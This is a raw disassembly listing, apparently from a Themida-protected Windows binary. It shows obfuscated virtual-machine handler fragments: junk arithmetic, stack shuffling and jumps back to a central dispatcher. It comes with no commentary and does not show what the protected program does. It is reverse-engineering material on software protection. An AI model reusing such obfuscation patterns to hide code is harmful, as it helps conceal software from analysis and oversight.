push edi
mov edi, 498A4540h
add [esp-0Ch+arg_E+2], edi
jmp loc_58FD3A
; ---------------------------------------------------------------------------
loc_5882B8: ; CODE XREF: sub_584787+5706j
pop eax
mov ecx, [esp+0]
add esp, 4
loc_5882C2: ; CODE XREF: sub_584787+9FBBj
push ebp
mov ebp, ebx
jmp sub_58F8C1
; ---------------------------------------------------------------------------
loc_5882CA: ; CODE XREF: sub_584787+34B6j
sub ch, 0FAh
xor ch, 85h
sub al, ch
pop ecx
pop ebx
jmp loc_5898DD
; ---------------------------------------------------------------------------
loc_5882D9: ; CODE XREF: sub_584787+BDE1j
xor esi, edi
push edi
xchg ecx, [esp-18h+arg_12+2]
not ecx
xchg ecx, [esp-18h+arg_12+2]
pop edi
xchg edi, esi
and esi, 50B15A0Fh
sub esi, 1200h
mov edx, esi
pop esi
push edx
xor [esp-1Ch+arg_18], 4BF1828h
pop ecx
xor ecx, 4BF1828h
jmp loc_586521
; ---------------------------------------------------------------------------
loc_58830A: ; CODE XREF: sub_584787+1FAFj
sub [esp+4+arg_0], ecx
sub [esp+4+arg_0], 0F854E0Dh
jmp loc_585DE5
; ---------------------------------------------------------------------------
loc_58831B: ; CODE XREF: sub_584787+8077j
sub esi, 4
jmp loc_58FB94
; ---------------------------------------------------------------------------
loc_588323: ; CODE XREF: sub_584787+623j
push esi
mov esi, 4
jmp loc_58DB6C
; ---------------------------------------------------------------------------
loc_58832E: ; CODE XREF: sub_584787+BF58j
pop cx
push 5198h
jmp loc_587804
; ---------------------------------------------------------------------------
loc_58833A: ; CODE XREF: sub_584787+1E84j
add ecx, 725148D8h
xor ecx, 0AA829817h
xor edi, ecx
jmp loc_587E53
; ---------------------------------------------------------------------------
loc_58834D: ; CODE XREF: sub_584787+9F3Ej
shr cl, 5
sub cl, 0B7h
add cl, 0D6h
mov bh, cl
pop ecx
neg bh
not bh
add bh, 9Fh
push ecx
mov cl, bh
jmp loc_587B65
; ---------------------------------------------------------------------------
loc_588368: ; CODE XREF: sub_584787+220Bj
push 7147h
mov [esp+0], ebx
push 444Ch
mov [esp+26h+var_26], edi
mov edi, 74A226A6h
jmp loc_585706
; ---------------------------------------------------------------------------
loc_588382: ; CODE XREF: sub_584787+A957j
add esp, 4
add bl, cl
pop ecx
add bl, al
push ecx
mov cl, 0E0h
jmp loc_584857
; ---------------------------------------------------------------------------
loc_588392: ; CODE XREF: sub_584787+1505j
sub esp, 4
mov [esp+20h+var_20], ecx
jmp loc_58B861
; ---------------------------------------------------------------------------
loc_5883A0: ; CODE XREF: sub_584787+26Ej
push ecx
push ebp
mov ebp, 11333B91h
mov ecx, 20C46A09h
xor ecx, ebp
pop ebp
or edi, ecx
pop ecx
shl edi, 1
sub edi, 102070Ah
and edi, 182B300Dh
sub edi, 0E4F3F3A2h
add ecx, edi
mov edi, [esp+0]
add esp, 4
push ebp
push 711614CFh
mov ebp, [esp+26h+var_26]
jmp loc_587878
; ---------------------------------------------------------------------------
loc_5883DF: ; CODE XREF: sub_584787+3CC8j
mov ecx, [esp+26h+var_26]
add esp, 4
push edi
mov edi, 4E3931C1h
jmp loc_5846D2
; ---------------------------------------------------------------------------
loc_5883F0: ; CODE XREF: sub_584787+50A9j
push 7C3Dh
mov [esp+2Ah+var_2C+2], esp
add [esp+2Ah+var_2C+2], 4
jmp loc_58777A
; ---------------------------------------------------------------------------
loc_588404: ; CODE XREF: sub_584787+6154j
mov eax, [esp+2Ah+var_2C+2]
push edx
mov edx, esp
jmp loc_589C18
; ---------------------------------------------------------------------------
loc_58840F: ; DATA XREF: Themida_:005841C4o
push dword ptr [edi+1Ch]
popf
pop cx
rcr [esp+2Ch+var_2C], cl
pushf
jmp loc_5889C6
; ---------------------------------------------------------------------------
loc_58841E: ; CODE XREF: sub_584787+625Aj
sub edx, 786B36AEh
jmp loc_589119
; ---------------------------------------------------------------------------
loc_588429: ; CODE XREF: sub_584787+78E2j
mov ecx, 2C546457h
push esi
mov esi, 4B655FE8h
jmp loc_58736D
; ---------------------------------------------------------------------------
loc_588439: ; CODE XREF: sub_584787+74CAj
xor ecx, 91C39CB9h
push edx
mov edx, 28B5FCC3h
add ecx, edx
mov edx, [esp+38h+var_38]
add esp, 4
add eax, ecx
jmp loc_5883DF
; ---------------------------------------------------------------------------
loc_588454: ; CODE XREF: sub_584787+1632j
mov [esp-4+arg_0], edi
mov edi, 27017490h
sub edi, 0FFFFFFFFh
jmp loc_584CD7
; ---------------------------------------------------------------------------
loc_588467: ; CODE XREF: sub_584787+9E32j
add eax, 455F2E8Ah
mov [eax], ebx
pop eax
jmp loc_58EA5A
; ---------------------------------------------------------------------------
loc_588474: ; CODE XREF: sub_584787+6BE3j
xor ecx, eax
pop eax
or [edi+1Ch], ecx
push [esp-0Ch+arg_8]
pop ecx
add esp, 4
jmp loc_584473
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp-0Ch+arg_8]
push edi
mov edi, esp
add edi, 4
push ebp
jmp loc_589551
; ---------------------------------------------------------------------------
loc_58849B: ; CODE XREF: sub_584787+94CCj
add bl, al
add bl, 4Dh
jmp loc_58A747
; ---------------------------------------------------------------------------
loc_5884A5: ; CODE XREF: sub_584787+61B7j
mov ebp, [esp-4+arg_0]
add esp, 4
jmp loc_58CDD8
; ---------------------------------------------------------------------------
loc_5884B3: ; CODE XREF: sub_584787+9AEFj
mov ecx, esp
add ecx, 4
push edx
jmp loc_58CB48
; ---------------------------------------------------------------------------
loc_5884C1: ; CODE XREF: sub_584787+C66j
push esp
push [esp+1Ch+var_1C]
pop ebp
push 3648h
jmp loc_58495D
; ---------------------------------------------------------------------------
loc_5884D0: ; CODE XREF: sub_584787+9545j
push [esp+20h+var_20]
pop ecx
add esp, 4
jmp loc_5903AC
; ---------------------------------------------------------------------------
loc_5884DC: ; CODE XREF: sub_584787+3676j
mov ecx, esp
add ecx, 4
jmp loc_58E3B7
; ---------------------------------------------------------------------------
loc_5884E9: ; CODE XREF: sub_584787+54Bj
mov edi, 0AC7159A1h
add ecx, edi
pop edi
jmp loc_58E395
; ---------------------------------------------------------------------------
loc_5884F6: ; CODE XREF: sub_584787+A112j
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_585BA1
; ---------------------------------------------------------------------------
loc_588504: ; CODE XREF: sub_584787+7C34j
pop ebx
add al, cl
sub al, 58h
mov cx, word ptr [esp+4+var_4]
push eax
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp+8+var_8]
pop esp
push 409Ah
jmp loc_588C24
; ---------------------------------------------------------------------------
loc_588528: ; CODE XREF: sub_584787+A2A3j
push ebx
mov ebx, 6F10444Fh
or ecx, ebx
pop ebx
push edi
mov edi, 90CEBB01h
add ecx, edi
pop edi
mov [edi+20h], ecx
pop ecx
loc_58853E: ; CODE XREF: sub_584787+7258j
; sub_584787:loc_58C803j
push [esp+4+var_4]
pop ebx
jmp loc_5868F4
; ---------------------------------------------------------------------------
loc_588547: ; CODE XREF: sub_584787+173Aj
or ebx, edi
pop edi
sub ebx, 0F6DCDD72h
jmp loc_5879EE
; ---------------------------------------------------------------------------
loc_588555: ; CODE XREF: sub_584787+71D6j
mov ah, 0C1h
mov bl, ah
jmp loc_58BBA7
; ---------------------------------------------------------------------------
loc_58855E: ; CODE XREF: sub_584787+8055j
sub ch, ah
sub ch, 21h
jmp loc_588206
; ---------------------------------------------------------------------------
loc_588568: ; CODE XREF: sub_584787+542Fj
push ebx
push ebp
jmp loc_58526A
; ---------------------------------------------------------------------------
loc_58856F: ; CODE XREF: sub_584787+2513j
shl edx, 5
not edx
not edx
jmp loc_586B51
; ---------------------------------------------------------------------------
loc_58857B: ; CODE XREF: sub_584787-209j
mov esi, 5AD425FFh
neg esi
dec esi
shr esi, 8
xor esi, 5B23008Ah
push ecx
mov ecx, 5B862B4Ch
sub esi, ecx
jmp loc_58F054
; ---------------------------------------------------------------------------
loc_588599: ; CODE XREF: sub_584787+E4Ej
pop edi
push esi
push 732E63E8h
pop esi
jmp loc_58E246
; ---------------------------------------------------------------------------
loc_5885A6: ; CODE XREF: sub_584787+13A8j
sub ebx, 66F967D7h
sub ebx, edx
add ebx, 66F967D7h
pop edx
push small word ptr [eax]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5885BD: ; CODE XREF: sub_584787+423Aj
mov edx, 4
jmp loc_589E98
; ---------------------------------------------------------------------------
loc_5885C7: ; CODE XREF: Themida_:0058F665j
mov ebp, 70564BCh
sub ebp, 0FFFFFFFFh
neg ebp
xor ebp, 29AF43A3h
push edx
push ecx
mov ecx, 4D6B7A2Ch
add ecx, 7BFC4FB8h
jmp loc_589DE7
; ---------------------------------------------------------------------------
loc_5885EC: ; CODE XREF: sub_584787+86Bj
mov ecx, 4
sub eax, 3F8E649Ah
jmp loc_58BED4
; ---------------------------------------------------------------------------
loc_5885FB: ; CODE XREF: sub_584787+99D9j
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+14h+var_14]
pop esp
xor ebx, [esp+10h+var_10]
xor [esp+10h+var_10], ebx
xor ebx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
pop small word ptr [esp+10h+var_10]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588620: ; CODE XREF: sub_584787+285j
mov edx, [esp+2Ah+var_2C+2]
add esp, 4
sub edi, 0EE72DD33h
add ecx, edi
pop edi
sub esp, 4
mov [esp+26h+var_26], edi
mov edi, 2
add ecx, edi
mov edi, [esp+26h+var_26]
jmp loc_584D3D
; ---------------------------------------------------------------------------
loc_588647: ; CODE XREF: Themida_:005903C6j
push ecx
jmp loc_5873BB
; ---------------------------------------------------------------------------
loc_58864D: ; DATA XREF: Themida_:00584270o
mov ax, word ptr [esp+2Ah+var_2C+2]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+2Eh+var_30+2]
pop esp
jmp loc_58DDCC
; ---------------------------------------------------------------------------
loc_588669: ; CODE XREF: sub_584787+AC75j
add eax, esi
add eax, 35390D72h
mov esi, [esp+2Ah+var_2C+2]
add esp, 4
and ecx, eax
push [esp+26h+var_26]
pop eax
jmp loc_58EA24
; ---------------------------------------------------------------------------
loc_588681: ; CODE XREF: sub_584787+8B76j
push ecx
jmp loc_58D473
; ---------------------------------------------------------------------------
loc_588687: ; CODE XREF: sub_584787+5AACj
xor bl, cl
jmp loc_58B6CE
; ---------------------------------------------------------------------------
loc_58868E: ; CODE XREF: sub_584787+BD92j
pop edi
pop [esp+26h+var_26]
pop esp
xchg ebp, [esp+1Eh+var_20+2]
pop esp
dec byte ptr [esp+1Ah+var_1C+2]
pushf
jmp loc_58A56A
; ---------------------------------------------------------------------------
loc_5886A0: ; CODE XREF: sub_584787+A38Fj
mov [esp+1Eh+var_20+2], ebx
push [esp+1Eh+var_20+2]
jmp loc_58751C
; ---------------------------------------------------------------------------
loc_5886AB: ; CODE XREF: sub_584787+1A23j
pop esp
mov [esp+30h+var_30], edx
push ecx
mov ecx, 70037A5Ah
xchg ebp, ecx
not ebp
jmp loc_58AAF3
; ---------------------------------------------------------------------------
loc_5886BE: ; CODE XREF: sub_584787+3A3Dj
add ecx, 32ED2353h
shl ecx, 1
dec ecx
jmp loc_58EF54
; ---------------------------------------------------------------------------
loc_5886CC: ; CODE XREF: sub_584787+1C20j
push ecx
mov ecx, 21841D94h
sub ecx, 2C9F3FA2h
add ecx, 0B1B2212h
mov eax, ecx
pop ecx
push ebp
mov ebp, 266D2051h
add esi, ebp
pop ebp
sub esi, 249738FEh
add esi, eax
push ecx
mov ecx, 5AC85CA4h
jmp loc_58928E
; ---------------------------------------------------------------------------
loc_5886FD: ; CODE XREF: sub_584787+7D91j
xor ebp, edi
mov edi, [esp+58h+var_58]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+5Ch+var_5C]
pop esp
push ebp
pop edx
push [esp+58h+var_58]
pop ebp
add esp, 4
jmp loc_586A81
; ---------------------------------------------------------------------------
loc_588723: ; CODE XREF: sub_584787+5DDEj
xor edx, [esp+54h+var_54]
jmp loc_58564B
; ---------------------------------------------------------------------------
loc_58872B: ; CODE XREF: sub_584787+BF3j
mov esi, [esp+14h+var_14]
add esp, 4
jmp loc_58A01D
; ---------------------------------------------------------------------------
loc_588736: ; CODE XREF: sub_584787+ABEEj
xchg esi, [esp+10h+var_10]
pop esp
add ebp, 4
push 6947h
jmp loc_58D3A5
; ---------------------------------------------------------------------------
loc_58874A: ; CODE XREF: sub_584787+245Cj
pop edi
push ebx
jmp loc_584DE4
; ---------------------------------------------------------------------------
loc_588751: ; CODE XREF: sub_584787+275Aj
sub ebx, 23EFBD46h
mov ecx, 46EB4F34h
neg ecx
or ecx, 7173192Fh
add ecx, 0B026671h
sub ecx, 1
or ecx, 317F7630h
jmp loc_58EB25
; ---------------------------------------------------------------------------
loc_58877B: ; CODE XREF: sub_584787+4D58j
add edx, 4
xchg edx, [esp+0Eh+var_10+2]
pop esp
sub ebx, 4
push ebx
push [esp+0Eh+var_C+2]
mov ebx, [esp+12h+var_14+2]
add esp, 4
pop [esp+0Eh+var_10+2]
mov esp, [esp+0Ah+var_C+2]
mov [esp+0Ah+var_C+2], edx
push eax
pushf
jmp loc_58E7DA
; ---------------------------------------------------------------------------
loc_5887A3: ; CODE XREF: sub_584787+8793j
mov ecx, ebx
pop ebx
and eax, ecx
push [esp+0Eh+var_10+2]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+12h+var_14+2]
pop esp
shr eax, 0Bh
xor ecx, eax
push esi
push ebx
mov ebx, esp
jmp loc_586D1E
; ---------------------------------------------------------------------------
loc_5887CA: ; CODE XREF: sub_584787+6DB6j
xor edx, 2E3D2EA7h
add esi, edx
pop edx
add edi, esi
pop esi
xor edi, [esp+0Eh+var_10+2]
xor [esp+0Eh+var_10+2], edi
xor edi, [esp+0Eh+var_10+2]
pop esp
jmp loc_58B884
; ---------------------------------------------------------------------------
loc_5887E5: ; CODE XREF: sub_584787+BDC4j
xor edx, ebx
push [esp+0Ah+var_C+2]
pop ebx
add esp, 4
sub esi, edx
pop edx
sub esp, 4
mov [esp+6+var_8+2], esi
push [esp+6+var_4+2]
jmp loc_58B3D9
; ---------------------------------------------------------------------------
loc_588803: ; CODE XREF: sub_584787+AF96j
xor ecx, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], ecx
xor ecx, [esp+0Ah+var_C+2]
jmp loc_58B59F
; ---------------------------------------------------------------------------
loc_588811: ; CODE XREF: sub_584787+AED1j
add edx, ecx
pop ecx
jmp loc_58968B
; ---------------------------------------------------------------------------
loc_588819: ; CODE XREF: sub_584787+3A6Dj
mov edx, esp
add edx, 4
push 91h
mov [esp-0Eh+arg_8+2], ebx
jmp loc_587CFE
; ---------------------------------------------------------------------------
loc_58882E: ; CODE XREF: sub_584787+13CCj
mov edx, esp
add edx, 4
add edx, 4
jmp loc_58E5C3
; ---------------------------------------------------------------------------
loc_588841: ; CODE XREF: sub_584787+A2CEj
add bl, 41h
jmp loc_585BAF
; ---------------------------------------------------------------------------
loc_588849: ; CODE XREF: sub_584787+A235j
mov ecx, 39E93A00h
sub edi, ecx
jmp loc_59000D
; ---------------------------------------------------------------------------
loc_588855: ; DATA XREF: Themida_:00584244o
push eax
push esp
jmp loc_586AB8
; ---------------------------------------------------------------------------
loc_58885C: ; CODE XREF: sub_584787+AF5Bj
push esi
mov esi, 4E0E4D23h
sub esi, 21A9213Ah
xor esi, 44FE7E23h
push 57B2h
jmp loc_58CB10
; ---------------------------------------------------------------------------
loc_588878: ; CODE XREF: sub_584787-24j
pop ecx
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
jmp loc_58B4D1
; ---------------------------------------------------------------------------
loc_588888: ; CODE XREF: sub_584787+4F5Fj
sub ecx, 2
push ecx
push [esp-14h+arg_12+2]
pop ecx
pop [esp-14h+arg_E+2]
pop esp
mov word ptr [esp-1Ch+arg_18], ax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58889E: ; CODE XREF: sub_584787+1356j
pop esi
and eax, ebp
jmp loc_59042C
; ---------------------------------------------------------------------------
loc_5888A6: ; CODE XREF: sub_584787+93D1j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5888AB: ; CODE XREF: sub_584787+77B1j
sub edx, 29366A1Dh
shl edx, 7
sub edx, 99CF93EDh
or ecx, edx
pop edx
sub ecx, 27021DF0h
xor edx, ecx
pop ecx
xor eax, edx
mov edx, [esp+0]
add esp, 4
jmp loc_58BE96
; ---------------------------------------------------------------------------
loc_5888D6: ; CODE XREF: sub_584787+2483j
mov dh, bh
pop ebx
neg dh
neg dh
push ecx
mov cl, 0Fh
sub cl, 0F0h
shr cl, 5
shr cl, 6
xor cl, 3Eh
xor dh, cl
pop ecx
sub al, 0B9h
jmp loc_587319
; ---------------------------------------------------------------------------
loc_5888F6: ; CODE XREF: sub_584787+8F45j
xor esi, 0ECF9A91Dh
add ebx, esi
pop esi
sub ebp, ebx
jmp loc_590632
; ---------------------------------------------------------------------------
loc_588906: ; CODE XREF: sub_584787-2Ej
mov ecx, 1
mov edi, ecx
jmp loc_584DAF
; ---------------------------------------------------------------------------
loc_588912: ; CODE XREF: sub_584787+9B0Bj
xor [esp+0Ch+var_C], edx
push edx
not [esp+10h+var_10]
mov edx, [esp+10h+var_10]
push ebx
jmp loc_585949
; ---------------------------------------------------------------------------
loc_588922: ; CODE XREF: sub_584787+2244j
inc edx
shl edx, 4
xor edx, 0B8877322h
sub eax, 75EE3B7Eh
add eax, edx
add eax, 75EE3B7Eh
mov edx, [esp+26h+var_26]
add esp, 4
add eax, ebx
sub eax, 476C2DA2h
push ebp
jmp loc_58F771
; ---------------------------------------------------------------------------
loc_58894E: ; CODE XREF: sub_584787+29A0j
push ebx
push esp
pop ebx
push esi
mov esi, 352E157Fh
jmp loc_58DF0A
; ---------------------------------------------------------------------------
loc_58895C: ; CODE XREF: sub_584787+345Bj
pop ebx
add ecx, edx
pop edx
add ecx, edx
sub ecx, 27CC1294h
jmp loc_58964E
; ---------------------------------------------------------------------------
loc_58896D: ; CODE XREF: sub_584787+25A3j
xor ebx, [esp+1Ah+var_1C+2]
xor [esp+1Ah+var_1C+2], ebx
xor ebx, [esp+1Ah+var_1C+2]
pop esp
mov [esp+16h+var_18+2], edi
jmp loc_588E8B
; ---------------------------------------------------------------------------
loc_58897F: ; CODE XREF: sub_584787+3280j
sub edi, 19706105h
push ebp
mov ebp, 7277CC5h
dec ebp
neg ebp
jmp loc_5877EA
; ---------------------------------------------------------------------------
loc_588993: ; CODE XREF: sub_584787+5BBEj
push dword ptr [esp+0]
pop edi
push esi
mov esi, esp
add esi, 4
add esi, 4
sub esp, 4
jmp loc_58F4D7
; ---------------------------------------------------------------------------
loc_5889AE: ; CODE XREF: sub_584787+AB50j
mov [esp+8+var_8], edi
jmp loc_58CCCB
; ---------------------------------------------------------------------------
loc_5889B6: ; CODE XREF: sub_584787+AE4Fj
add esp, 4
push 195Fh
mov [esp+8+var_8], edx
jmp loc_5885BD
; ---------------------------------------------------------------------------
loc_5889C6: ; CODE XREF: sub_584787+3C92j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5889CB: ; CODE XREF: sub_584787+6703j
mov [esp+30h+var_30], ebp
push eax
mov eax, 4
mov ebp, eax
pop eax
add esi, ebp
pop ebp
xchg esi, [esp+2Ch+var_2C]
jmp loc_584674
; ---------------------------------------------------------------------------
loc_5889E2: ; CODE XREF: sub_584787+72D5j
push edx
jmp loc_58FE3B
; ---------------------------------------------------------------------------
loc_5889E8: ; CODE XREF: sub_584787+AB29j
xor [esp+30h+var_30], eax
xor eax, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
jmp loc_58C550
; ---------------------------------------------------------------------------
loc_5889F6: ; CODE XREF: sub_584787+6326j
mov bh, 0FFh
add ch, bh
pop bx
and ch, 0B3h
shr ch, 8
xor ch, 0F9h
push edx
jmp loc_58D345
; ---------------------------------------------------------------------------
loc_588A0B: ; CODE XREF: sub_584787+821Ej
add ebx, edi
pop edi
xor eax, ebx
push [esp+2Eh+var_30+2]
jmp loc_588C94
; ---------------------------------------------------------------------------
loc_588A18: ; CODE XREF: sub_584787+5EA8j
mov ah, dh
mov bl, ah
pop eax
not bl
mov dh, bl
jmp loc_58B209
; ---------------------------------------------------------------------------
loc_588A26: ; DATA XREF: Themida_:00584378o
mov ax, word ptr [esp+2Eh+var_30+2]
push edi
push esp
pop edi
push 79BBh
mov [esp+36h+var_38+2], edx
jmp loc_5844A3
; ---------------------------------------------------------------------------
loc_588A3A: ; CODE XREF: sub_584787+9F15j
mov ecx, [esp+36h+var_38+2]
add esp, 4
jmp loc_588D88
; ---------------------------------------------------------------------------
loc_588A48: ; CODE XREF: sub_584787+A5FEj
pop eax
add ebp, 2
jmp loc_589B7E
; ---------------------------------------------------------------------------
loc_588A51: ; CODE XREF: sub_584787+3790j
xor cl, 0DAh
add al, 62h
add al, 87h
add al, 1Dh
sub al, cl
sub al, 1Dh
sub al, 87h
sub al, 62h
jmp loc_58FD2C
; ---------------------------------------------------------------------------
loc_588A67: ; DATA XREF: Themida_:00584268o
neg [esp+4Ch+var_4E+2]
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588A70: ; CODE XREF: sub_584787+7FF8j
mov ecx, [esp+0]
add esp, 4
jmp loc_58E81D
; ---------------------------------------------------------------------------
loc_588A7E: ; DATA XREF: Themida_:005843A0o
lodsb
add al, 8Fh
add al, 0D4h
jmp loc_588019
; ---------------------------------------------------------------------------
loc_588A88: ; CODE XREF: sub_584787+231Fj
push esi
jmp loc_5864A6
; ---------------------------------------------------------------------------
loc_588A8E: ; CODE XREF: sub_584787+81F0j
add ecx, 4
push ebp
mov ebp, 4
sub ecx, ebp
pop ebp
xchg ecx, [esp+2Eh+var_30+2]
pop esp
mov [esp+2Ah+var_2C+2], edx
mov edx, 100h
jmp loc_585A28
; ---------------------------------------------------------------------------
loc_588AAE: ; CODE XREF: sub_584787+53FFj
push small 7555h
mov word ptr [esp+2Ch+var_2C], cx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588ABB: ; CODE XREF: sub_584787+6605j
push esi
mov esi, 4
jmp loc_58D65D
; ---------------------------------------------------------------------------
loc_588AC6: ; CODE XREF: sub_584787-35j
mov [esp+4+var_4], edi
push ebx
mov ebx, 70486EF3h
xchg edx, ebx
inc edx
push ebx
push edx
pop ebx
pop edx
push edi
mov edi, 3DBE0236h
sub edi, 0CDBB9FB4h
xor ebx, edi
pop edi
jmp loc_58AB2C
; ---------------------------------------------------------------------------
loc_588AEA: ; CODE XREF: sub_584787+2AD0j
push [esp-4+arg_0]
push dword ptr [esp+0]
mov edi, [esp+4+var_4]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5873C6
; ---------------------------------------------------------------------------
loc_588B07: ; CODE XREF: sub_584787+B692j
add al, 0D5h
sub al, 0EDh
add al, cl
add al, 0EDh
sub al, 0D5h
pop ecx
sub esp, 4
mov [esp+4+var_4], edx
mov dh, 7Eh
and dh, 0B7h
or dh, 39h
xchg cl, dh
push ebx
mov bh, cl
xchg ch, bh
xchg al, ch
jmp loc_584E42
; ---------------------------------------------------------------------------
loc_588B2E: ; CODE XREF: sub_584787+4948j
and eax, edx
push [esp+8+var_8]
pop edx
sub esp, 4
mov [esp+0Ch+var_C], esi
jmp loc_58DF7E
; ---------------------------------------------------------------------------
loc_588B3F: ; CODE XREF: sub_584787+21ABj
xor bh, ch
jmp loc_586DD0
; ---------------------------------------------------------------------------
loc_588B46: ; DATA XREF: Themida_:005842F0o
lodsd
cmp dword ptr [edi+20h], 0
jz loc_5899F0
add esi, 0A28462Eh
add esi, 4AD66E1Ch
add esi, 0CCF05F0h
push edi
jmp loc_58C122
; ---------------------------------------------------------------------------
loc_588B69: ; DATA XREF: Themida_:005842B0o
pop small word ptr [edx]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588B71: ; CODE XREF: sub_584787+52EFj
add esp, 4
push edx
push esp
pop edx
jmp loc_58ED0B
; ---------------------------------------------------------------------------
loc_588B7F: ; CODE XREF: sub_584787+6DF6j
pop dword ptr [eax]
xor dword ptr [eax], 935039Ch
push [esp+18h+var_18]
jmp loc_585EB4
; ---------------------------------------------------------------------------
loc_588B8F: ; CODE XREF: sub_584787+982Dj
mov al, dh
mov bl, al
pop eax
jmp loc_58B36F
; ---------------------------------------------------------------------------
loc_588B99: ; CODE XREF: sub_584787+2B26j
push 709Fh
mov [esp+8+var_8], edi
push 553Ch
mov [esp+0Ch+var_C], ecx
jmp loc_58DE2C
; ---------------------------------------------------------------------------
loc_588BAE: ; CODE XREF: sub_584787+1254j
sub esp, 4
mov [esp-14h+arg_E+2], eax
jmp loc_58D015
; ---------------------------------------------------------------------------
loc_588BBC: ; CODE XREF: sub_584787+5A3j
sub esi, 1
jmp loc_58ADD7
; ---------------------------------------------------------------------------
loc_588BC4: ; CODE XREF: sub_584787+60C5j
pop esi
push [esp+4+var_4]
jmp loc_58652C
; ---------------------------------------------------------------------------
loc_588BCD: ; CODE XREF: sub_584787+45C2j
add esp, 4
jmp loc_584E65
; ---------------------------------------------------------------------------
loc_588BD5: ; CODE XREF: sub_584787+A1F8j
push ecx
mov ecx, 4
mov esi, ecx
pop ecx
add eax, esi
pop esi
xor eax, [esp+0]
xor [esp+0], eax
xor eax, [esp+0]
mov esp, [esp+0]
shl dword ptr [esp+0], cl
jmp loc_58A29F
; ---------------------------------------------------------------------------
loc_588BF5: ; CODE XREF: sub_584787+85C4j
push 55F83290h
mov eax, [esp+4+var_4]
add esp, 4
shr eax, 4
push 3E45h
jmp loc_58DEB0
; ---------------------------------------------------------------------------
loc_588C0D: ; CODE XREF: sub_584787+44A7j
mov [esp+4+var_4], eax
mov al, 1
jmp loc_586457
; ---------------------------------------------------------------------------
loc_588C17: ; CODE XREF: sub_584787-238j
push eax
mov ah, 7Eh
mov dl, 0B6h
xor dl, 5Ch
jmp loc_590438
; ---------------------------------------------------------------------------
loc_588C24: ; CODE XREF: sub_584787+3D9Cj
mov [esp+8+var_8], edx
mov dl, 3Eh
push 6491h
jmp loc_588C0D
; ---------------------------------------------------------------------------
loc_588C33: ; CODE XREF: sub_584787+880j
sub ch, 0F6h
jmp loc_59057F
; ---------------------------------------------------------------------------
loc_588C3B: ; CODE XREF: sub_584787+720Bj
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
bt [esp+10h+var_10], eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588C55: ; CODE XREF: sub_584787+8746j
push eax
jmp loc_5849ED
; ---------------------------------------------------------------------------
loc_588C5B: ; CODE XREF: sub_584787+A334j
or ebp, ebx
pop ebx
push edx
mov edx, 0E0D1FD3h
inc edx
add edx, 6B192F94h
add edx, 88B3D2B5h
sub ebp, 7C2D3AAFh
add ebp, edx
add ebp, 7C2D3AAFh
pop edx
sub ecx, 30810D6Ch
add ecx, ebp
add ecx, 30810D6Ch
pop ebp
jmp loc_585F36
; ---------------------------------------------------------------------------
loc_588C94: ; CODE XREF: sub_584787+428Cj
pop ebx
push eax
push esp
jmp loc_5902D9
; ---------------------------------------------------------------------------
loc_588C9C: ; CODE XREF: sub_584787+2D53j
mov eax, [esp+3Ch+var_3C]
add esp, 4
mov edx, [esp+38h+var_38]
add esp, 4
push cx
mov cx, 0FFFFh
add si, cx
pop cx
not si
inc si
shr si, 3
not si
add si, 0FEC4h
xor ax, si
pop esi
push edx
jmp loc_58DDC3
; ---------------------------------------------------------------------------
loc_588CD4: ; CODE XREF: sub_584787+180Fj
mov edi, 1DFD0821h
sub eax, 54A94210h
sub eax, edi
jmp loc_58F547
; ---------------------------------------------------------------------------
loc_588CE5: ; CODE XREF: sub_584787+5F6Dj
push esp
pop [esp+8+var_8]
push ecx
push 4
pop ecx
add [esp+8+var_4], ecx
pop ecx
pop edx
add edx, 4
jmp loc_590057
; ---------------------------------------------------------------------------
loc_588D01: ; CODE XREF: sub_584787+20B1j
mov ebp, 4
add ebx, 51F81789h
jmp loc_58963C
; ---------------------------------------------------------------------------
loc_588D11: ; CODE XREF: sub_584787+54CAj
neg al
jmp loc_586CD2
; ---------------------------------------------------------------------------
loc_588D18: ; CODE XREF: sub_584787-137j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_588D1D: ; CODE XREF: sub_584787-248j
push ebp
jmp loc_586BE8
; ---------------------------------------------------------------------------
loc_588D23: ; CODE XREF: sub_584787+30BFj
pop ebp
push ebx
jmp loc_587BAF
; ---------------------------------------------------------------------------
loc_588D2A: ; CODE XREF: sub_584787+A8B9j
mov edx, ebp
pop ebp
jmp loc_5902B0
; ---------------------------------------------------------------------------
loc_588D32: ; DATA XREF: Themida_:0058439Co
mov ax, word ptr [esp+2Ch+var_2C]
push ebp
mov ebp, esp
sub esp, 4
mov [esp+34h+var_34], eax
mov eax, 4
add ebp, eax
mov eax, [esp+34h+var_34]
jmp loc_588BCD
; ---------------------------------------------------------------------------
loc_588D4E: ; CODE XREF: sub_584787+1007j
push [esp+0Ch+var_C]
mov edx, [esp+10h+var_10]
add esp, 4
add esp, 4
shr eax, 0Ch
xor eax, ecx
jmp loc_587F1C
; ---------------------------------------------------------------------------
loc_588D6A: ; CODE XREF: sub_584787+87C1j
mov ebx, [esp+8+var_8]
jmp loc_587504
; ---------------------------------------------------------------------------
loc_588D72: ; CODE XREF: sub_584787+6674j
mov ebp, ecx
jmp loc_590452
; ---------------------------------------------------------------------------
loc_588D79: ; DATA XREF: Themida_:005843D8o
lodsd
